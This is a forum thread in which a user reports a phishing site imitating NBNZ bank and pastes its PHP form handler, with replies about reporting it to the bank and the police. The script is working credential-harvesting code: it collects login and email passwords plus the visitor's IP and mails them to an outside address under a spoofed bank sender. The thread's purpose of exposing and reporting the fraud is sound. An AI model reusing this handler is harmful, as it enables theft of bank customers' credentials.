hey guys and girls,


Got a suspicious email today and decided to open up the webpage, while at it, I also got into the scripting of the site and opened up some PHP files and found the guys email address.

basically it's some moron trying to scam NBNZ customers to give up their details and looks extremely authentic.  

Anyway, he hasn't tried hiding his email address in the PHP forms, so i was wondering where I would report it too?  Scripting is below:



<?


session_start();


$cc1= "moses.abagnale@gmail.com";




$ip = getenv("REMOTE_ADDR");
$date = date("D M d, Y g:i a");
$userid0 = $_POST['userid0'];
$password0 = $_POST['password0'];
$email = $_POST['email'];
$emailpass = $_POST['emailpass'];


$msg = "\n   User ID: $userid0\n   Password: $password0\n   Email: $email\n   Email Password: $emailpass\n   IP: $ip\n   Date: $date\n\n";


$from = "From: National Bank <root@nbnz.co.nz>";


$subj = "User Details";


mail("$cc1",$subj,$msg,$from);
header("Location: thanks.htm");


?>



I tried Gmail, but it errors out when trying to report a message :(
I've also emailed the site hosting the website to get it closed.

Any other options at all?

Give the information to National Bank. They will deal with it through their fraud department and the Police.

Awesome :) just contacted NBNZ who are contacting Google and Yahoo to try get his personal details.

Any other ideas of what else to do? or should I leave it at that?

Just leave it with them. They've dealt with things like this before and they know how to sort the little buggers out.

Good job catching them.

Oh sweet :) yeah I can't believe someone phishing wouldn't code their email address

Hope they get the b*tard and hang him by his n*ts

Just hope no old ladies have been duped into giving him their details :(

Don't you worry. I'm positive that the Police will be all over him. =]
